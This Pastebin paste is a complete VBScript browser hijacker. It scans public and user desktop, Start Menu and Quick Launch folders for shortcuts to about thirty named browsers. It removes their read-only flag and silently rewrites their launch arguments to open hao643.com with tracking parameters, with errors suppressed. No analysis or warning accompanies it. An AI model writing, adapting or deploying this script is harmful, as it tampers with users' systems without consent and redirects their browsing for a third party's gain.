Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
433
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None
  1. On Error Resume Next
  2. Const link = "http://hao643.com/?r=ggggg&m=e19"
  3. Const link360 = "http://hao643.com/?r=ggggg&m=e19&s=3"
  4. browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
  5. lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\Mrxn\Desktop,C:\Users\Mrxn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\Mrxn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\Mrxn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\Mrxn\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
  6. browsersArr = Split(browsers,",")
  7. Set oDic = CreateObject("scripting.dictionary")
  8. For Each browser In browsersArr
  9. oDic.Add LCase(browser), browser
  10. Next
  11. lnkpathsArr = Split(lnkpaths,",")
  12. Set oFolders = CreateObject("scripting.dictionary")
  13. For Each lnkpath In lnkpathsArr
  14. oFolders.Add lnkpath, lnkpath
  15. Next
  16. Set fso = CreateObject("Scripting.Filesystemobject")
  17. Set WshShell = CreateObject("Wscript.Shell")
  18. For Each oFolder In oFolders
  19. If fso.FolderExists(oFolder) Then
  20. For Each file In fso.GetFolder(oFolder).Files
  21. If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
  22. Set oShellLink = WshShell.CreateShortcut(file.Path)
  23. path = oShellLink.TargetPath
  24. name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
  25. If oDic.Exists(LCase(name)) Then
  26. If LCase(name) = LCase("360se.exe") Then
  27. oShellLink.Arguments = link360
  28. Else
  29. oShellLink.Arguments = link
  30. End If
  31. If file.Attributes And 1 Then
  32. file.Attributes = file.Attributes - 1
  33. End If
  34. oShellLink.Save
  35. End If
  36. End If
  37. Next
  38. End If
  39. Next
Advertisement
RAW Paste Data Copied
Advertisement